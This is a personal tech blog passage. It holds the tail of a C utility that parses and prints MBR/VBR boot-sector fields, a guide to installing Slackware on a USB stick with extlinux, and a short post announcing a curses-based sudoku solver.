  printf("Serial: %08X\n", htonl(mbr->disk_signature));

  printf("Partition Table:\n");
  printf(" Boot Type   First LBA   First C:H:S    Last C:H:S    Size\n");
  for (i = 0; i < 4; i++) {
    start_sector = mbr->partition[i].start_cs_1 & 0x3F;
    start_cylinder = mbr->partition[i].start_cs_2;
    start_cylinder += (mbr->partition[i].start_cs_1 & 0xC0) << 2;

    end_sector = mbr->partition[i].end_cs_1 & 0x3F;
    end_cylinder = mbr->partition[i].end_cs_2;
    end_cylinder += (mbr->partition[i].end_cs_1 & 0xC0) << 2;

    printf("   %c  ", (mbr->partition[i].bootable == 0x80) ? '*' : ' ');
    printf("0x%02x   ", mbr->partition[i].type);
    printf("0x%08x  ", mbr->partition[i].start_lba);
    printf("%04d:%03d:%02d -> ",
      start_cylinder,
      mbr->partition[i].start_head,
      start_sector);
    printf("%04d:%03d:%02d  ",
      end_cylinder,
      mbr->partition[i].end_head,
      end_sector);

    if (mbr->partition[i].no_of_sectors == 0) {
      printf("---");
    } else {
      /* NOTE: Assumes standard sector size of 512 bytes. */
      printf("(%d MB)", mbr->partition[i].no_of_sectors / 2048);
    }

    printf("\n");
  }

  printf("Code:\n");
  print_hex(mbr->code, 440, 0x0);
}

static void dump_vbr(vbr_t *vbr)
{
  char *s;
  
  printf("Jump Code            : 0x%02x 0x%02x 0x%02x ",
    vbr->jump_code[0], vbr->jump_code[1], vbr->jump_code[2]);

  if (vbr->jump_code[0] == 0xEB) {
    printf("(jmp short 0x%02X)\n", vbr->jump_code[1] + 2);
  } else {
    printf("(?)\n");
  }

  printf("OEM ID               : '");
  print_string(vbr->oem_id, 8);
  printf("'\n");

  printf("Volume Label         : '");
  print_string(vbr->volume_label, 11);
  printf("'\n");

  printf("System ID            : '");
  print_string(vbr->system_id, 8);
  printf("'\n");

  printf("Bytes per Sector     : %d\n", vbr->bytes_per_sector);
  printf("Sectors per Cluster  : %d\n", vbr->sectors_per_cluster);
  printf("Sectors per FAT      : %d\n", vbr->sectors_per_fat);
  printf("Sectors per Track    : %d\n", vbr->sectors_per_track);
  printf("No of FATs           : %d\n", vbr->no_of_fats);
  printf("Reserved Sectors     : %d\n", vbr->reserved_sectors);
  printf("Hidden Sectors       : %d\n", vbr->hidden_sectors);
  printf("Small Sectors        : %d\n", vbr->small_sectors);
  printf("Large Sectors        : %d\n", vbr->large_sectors);
  printf("Root Entries         : %d\n", vbr->root_entries);
  printf("Heads                : %d\n", vbr->heads);
  printf("Current Head         : %d\n", vbr->current_head);

  switch (vbr->media_descriptor) {
  case 0xF0:
  case 0xF9:
  case 0xFC:
  case 0xFD:
  case 0xFE:
  case 0xFF:
    s = "Floppy Disk";
    break;
  case 0xF8:
    s = "Fixed Disk";
    break;
  default:
    s = "Unknown";
    break;
  }

  printf("Media Descriptor     : 0x%02X (%s)\n", vbr->media_descriptor, s);
  printf("Physical Drive Number: 0x%02X\n", vbr->physical_drive_number);
  printf("Signature            : 0x%02X\n", vbr->signature);
  printf("ID                   : %08X\n", htonl(vbr->id));

  printf("Boot Code:\n");
  print_hex(vbr->boot_code, 448, 0x3E);
}

static int is_printable(char *s, int len)
{
  int i;
  for (i = 0; i < len; i++) {
    if (! isprint(s[i]))
      return 0;
  }
  return 1;
}

int main(int argc, char *argv[])
{
  FILE *fh;
  int bytes;
  uint8_t sector[512];

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <boot record file>\n", argv[0]);
    return 1;
  }

  fh = fopen(argv[1], "rb");
  if (fh == NULL) {
    fprintf(stderr, "Error: Unable to open file for reading.\n");
    return 1;
  }

  bytes = fread(&sector, sizeof(uint8_t), 512, fh);
  fclose(fh);

  if (bytes < 512) {
    fprintf(stderr, "Error: File is less than 512 bytes.\n");
    return 1;
  }

  if (sector[510] != 0x55 || sector[511] != 0xAA) {
    fprintf(stderr, "Error: File is not a valid boot record.\n");
    return 1;
  }

  if (is_printable(((vbr_t *)&sector)->oem_id, 8)) {
    printf("Volume Boot Record (VBR)\n");
    printf("------------------------\n");
    dump_vbr((vbr_t *)&sector);
  } else {
    printf("Master Boot Record (MBR)\n");
    printf("------------------------\n");
    dump_mbr((mbr_t *)&sector);
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 04/03-2012, Article Link

Slackware on a USB-stick

I present here the steps I used to get Slackware Linux installed on a USB-stick. These are the steps that worked for me, and I cannot guarantee that they will work for everyone, but it will give some pointers that may be helpful anyway. Also, I assume the reader has some familiarity with Linux already, so the steps described may be somewhat high-level. The motivation behind this was to get Slackware running on a laptop without touching the contents of the original hard drive in it.

Also note that this particular procedure ties the USB-stick to a specific machine, or at least a specific device layout. It is necessary to know (beforehand) what device identifier will be assigned for the root partition on the particular machine where the USB-stick will be used. In my case this was /dev/sdb1, so this will be used in description below.

I divided the procedure into three major steps with some sub-steps each, here we go:

1. Install Slackware the usual way, but with the USB-stick as the root file system.
1.1. Boot a host machine with the original Slackware DVD.
1.2. Insert the USB-stick into the host machine and use fdisk to create a large single Linux (0x83) partition on it.
1.3. Run the Slackware setup program and choose the newly created USB-stick partition as the target, with an ext2 file system.
1.4. Near the end of the setup process, skip the step involving installation of the LILO boot loader!

2. Install the special "extlinux" boot loader on the USB-stick.
2.1. Insert the USB-stick into a host machine running the necessary Linux software, and mount it. (In my case this was /dev/sdc1 mounted on /mnt/usb.)
2.2. Modify /etc/fstab on the USB-stick and make sure that the root filesystem uses the correct partition device on the target machine. (e.g. /dev/sdb1)
2.3. Create the file /boot/extlinux.conf on the USB-stick and input contents similar to this:

default Linux
prompt 1
timeout 100
label Linux
  kernel vmlinuz
  append root=/dev/sdb1 rootdelay=10 vga=normal vt.default_utf8=0
          

The crucial configuration here is the "rootdelay" parameter to the kernel!
2.4. Install the boot loader on the USB-stick with the "extlinux" command like this example: "extlinux -i /mnt/usb/boot". (Replace /mnt/usb with correct mount point if necessary.)
2.5. Unmount the USB-stick and overwrite the master boot record on it with a command like this: "cat /usr/lib/syslinux/mbr.bin > /dev/sdc". (Replace /dev/sdc with correct device if necessary.)

3. Boot the target machine with the USB-stick.
3.1. For some reason I got a lot of "ext2_lookup" error messages while booting, and I am not really sure what these where caused by. But they can be fixed by running "e2fsck -y -v /dev/sdb1" in system recovery mode on the target machine.

Topic: Configuration, by Kjetil @ 12/02-2012, Article Link

Sudoku Solver in Curses

Once again I present a curses-based program. This time, it's a curses front-end for a set of sudoku solving algorithms that I developed.

The program tries to apply two different algorithms that will find unique solutions, and if both fail, it will start guessing. After a guess has been made, the two other algorithms will be applied again, and this may hopefully produce a solution. It is not as advanced as other solvers out there, so there is no guarantee that the sudoku will be solved. But I have been able to use it with success on many sudokus.

The user interface is fairly simple and is explained on the screenshot below. It is possible for the user to enter invalid numbers, and this will not be "detected" by the program. The result is just that the solving algorithms will fail.

Screenshot of sudoku solver in curses.


I have released the code under a MIT License here.

Topic: Open Source, by Kjetil @ 21/01-2012, Article Link